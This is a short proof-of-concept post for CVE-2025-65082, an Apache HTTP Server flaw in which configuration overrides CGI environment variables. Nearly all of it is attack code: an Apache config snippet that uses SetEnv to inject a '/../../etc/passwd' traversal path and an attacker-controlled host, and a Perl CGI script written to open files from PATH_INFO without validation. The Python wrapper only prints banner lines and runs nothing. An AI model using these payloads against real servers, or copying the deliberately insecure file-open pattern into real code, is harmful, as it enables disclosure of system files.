CVE-2025-65082: Apache HTTP Server环境变量覆盖导致CGI程序安全绕过

# CVE-2025-65082 PoC - Apache HTTP Server Environment Variable Override # This PoC demonstrates how malicious Apache config can override CGI variables # Malicious Apache configuration snippet malicious_config = ''' # Override server-calculated CGI variables SetEnv PATH_INFO /../../etc/passwd SetEnv SCRIPT_NAME /malicious/path SetEnv QUERY_STRING maliciouseval=true SetEnv HTTP_HOST attacker-controlled-host # Enable CGI execution for malicious scripts <Directory "/var/www/html"> Options +ExecCGI AddHandler cgi-script .cgi .pl .sh </Directory> ''' # Example CGI script that could be exploited cgi_exploit_example = '''#!/usr/bin/perl # CGI script vulnerable to environment variable injection use CGI qw(:standard); # Server variables that could be overridden my $script_name = $ENV{'SCRIPT_NAME'}; my $path_info = $ENV{'PATH_INFO'}; # If attacker overrides PATH_INFO, could lead to path traversal open(my $fh, '<', "/var/www/html$path_info") or die $!; ''' print('[+] CVE-2025-65082: Environment Variable Override PoC') print('[+] Target: Apache HTTP Server 2.4.0 - 2.4.65') print('[+] Attack Vector: Malicious Apache configuration') print('[+] Impact: CGI variable manipulation leading to security bypass')